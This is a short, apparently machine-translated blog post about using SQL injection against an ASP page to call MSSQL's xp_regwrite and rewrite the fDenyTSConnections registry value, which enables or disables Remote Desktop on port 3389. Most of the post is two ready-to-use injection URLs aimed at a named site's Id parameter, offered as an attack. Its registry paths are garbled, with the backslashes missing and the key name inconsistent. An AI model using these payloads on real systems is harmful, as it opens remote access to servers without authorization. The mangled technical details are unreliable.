Baishen s blog
3389 logon key registry location: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerDenyTSConnections
The key value DenyTSConnections directly controls the Enable and disable of 3389. If the key value is 0, the value 3389 is enabled, and 1 is disabled. The stored procedure of MSSQL xp_regwrite can modify the registration. By using this, we can simply modify the DenyTSConnections key value to control the shutdown and enabling of 3389.
Enable SQL statement 3389:
Syue.com/xiaohua.asp? Id = 100; exec master. dbo. xp_regwriteHKEY_LOCAL_MACHINE, SYSTEMCurrentControlSetControlTerminal Server, fDenyTSConnections, REG_DWORD, 0 ;--
Disable the SQL statement 3389:
Syue.com/xiaohua.asp? Id = 100; exec master. dbo. xp_regwriteHKEY_LOCAL_MACHINE, SYSTEMCurrentControlSetControlTerminal Server, fDenyTSConnections, REG_DWORD, 1;